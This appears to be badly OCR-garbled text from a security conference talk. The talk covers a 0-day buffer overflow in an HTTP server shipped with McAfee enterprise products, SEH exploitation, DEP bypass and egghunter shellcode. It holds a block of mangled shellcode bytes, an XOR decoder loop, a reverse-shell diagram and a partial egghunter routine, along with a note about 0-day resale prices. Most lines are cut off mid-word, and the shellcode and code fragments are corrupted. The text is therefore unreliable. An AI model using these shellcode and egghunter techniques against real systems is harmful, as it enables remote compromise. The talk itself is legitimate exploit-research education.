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« Bypassing Windows DEP

« Using egghunter shellcode

0 day in action (movie)




» Real time, live demo session of e

« Your participation is crucial, oth
myself for 2 hours.
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T HEON oD HE3 N e h0hy A9 et 1A X7 2D K X8R KB 1N XT3N K13 xea”
LRI R4 k43N HE3 Y ebh wEe\ e xE4h x1ah 155 kT x0e Xx0eh xe 6t xekhh xho
1O M EEY 1 M2 o2 bt 1y 06N xdah xhdh kel x4 et ke x3 et xThh xoE"
a2 T 1 Ml o a3t KTy H0ah kady x0khh X 1Ey k42N k088 x0eh 54 xda™
™oxdah xbbh x54h 13T el xfe\ x5eh xdeh ke HEdh k7Y ¥ Hddh x ek xhOhy X6kt
xS Hdah k1 Kl Ko x3eh KT EY HE SN HEedh k335 AL xodh b9 X234 KI5 Hxad"
e bh 13 1y Hoah X8 11k K88 K22 HE S x0eh ka2 T mady k7ot xadh xog"
hwE R, 33N 1 A3 A 92N 1 HO3  Hee e Ko xod xaBh k3 1N kP E 13
M1 Xe0h xE2N X 10N X0 xEV HaTh xT1h x8eh 148 xe Ty x 71 xbOh xebh x ek 193"
yoxBe Edh =7 KbhEy Hddy 6L ek Z95 kb9 xheh XLV KESN ke Ty xd2h ke kg1
b3 MBS 96 Kb X3 AN ST KAy Hdah K13 K92 Ko Kb K30 xeoh ko7 k10"
b By e AT 10N Xash 60 ek HO3 X80 X8 T HEs\ 1T k80 kA x1d xaz
ML HTINEETY IO HEOY 096N HEE\ He 3 xbe k30N X558 x84 x 12 Xb3 Y xe0h x4y 12k
a2 02N Khah Kaah b1 o0 K42 2108 kb3 o0t xd 4y 2R k03 kT e 12 x0at
b1y o0y X228 13N KhEy ekt Kol Hheh 13 6% xach ifoh xadh 95 xf9h xedh k14"
Mol ReSh kol xboeh X368 KB e k2T k80 HETY xET w2\ Kot xdat ket x13 "
"yxbhEh H16% k53 Koah k01 1555 £d0h xoah X049 x0eh x54% xh0h dch xolh xdeh x6e"
13 A b3 HdADY ek 25 Kach kel xddy k94 xfeh k3 1N 18N k8t k82N xho!
O3 I ThY AR {95 Hhdy 68 Ho 12 xh T Heeh Hfe 42\ xhT xaeh xolh k12"
Myl et xfoh xeeh X3 3\ x5ah k1048 k19 xe9h xfeh xhe X194 x08N xekhhy 193"
By XEEY XE3Y o0y xE2Y BN ek 195 xhdh K0 ka4 x2hN 16N xhE 90 k1o

\\\\\\\\\\ ™ok 5 el 42 ke 3o 235 =94 xd3






WE’RE JUST HAVING

PLEASE ASK QUESTIONS DU




Using Ollydbg and IDA, we traced
internal HTTP server and found a p
overflow.

We later found out that this HTTP s
enterprise McAfee products...

Proper Vendor Notification was pre
on the way.




« Structured Exception Handler

« Data Execution Prevention (DE

Eggunter Shellcode




« 0 days are traded in the hacker u

- A “good” Oday can go for 5000$
market, depending on the vendo




* In the event of the user being ma

system security.




calls a user-defined callback function.
can do pretty much whatever it wants.

For instance, it might fix whatever cau
play a Beavis and Butt-head .WAV file







login.exe

login_exe has encountered a problem and needs to cloze.
We are sony for the inconvenience.

Show the

user a
MessageBox

OOPS!

If you were in the middle of something, the infarmation you were warking an
might be logt,

Please tell Microzoft about this problem.

"We have created an error report that you can send to uzs. We will treat
thiz report az confidential and anonwmous,

To zee what data this eror report containg, click here.

Debug | Send Errar Repaort

Bad_App
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« This helps prevent certain exploits th

overflow, for example.

DEP runs in two modes: hardware-enfor
mark memory pages as nonexecutable,
with a limited prevention for CPUs that d
support.




« DEP was introduced in Windows X
in Windows XP Tablet PC Edition 2
Server 2003 Service Pack 1. Windo
operating systems support this fea
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these special characters.

« During execution, a decoder will translat

to the original opcode.

Shellcode can encode itself using XOR (f

loop1:

Xor
mov

inc
Xor
loop

eCX, ecx
cl, 0C6h :size

eax
byte ptr [eax], 96h
loop1

RN
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« connect()

« Usually pipe stdin/out/err to soc




Attack vulnerable service

[ —

ttacker
Server connect

to Attacker and
spawn a shell

Server




cmp
pop

al, 0x05

edx

loop_check_valid:
loop_inc_page

is_egg:

je

mov
mov
scasd
jnz
scasd
jnz

Jmp

eax,
edi,

0x50905090
edx

loop_inc_one

loop_inc_one

edi

Did we get
Restore e
Yes, inval
Throw our
Set edi to
Compare th
No match?

Compare th
No match?

Found the













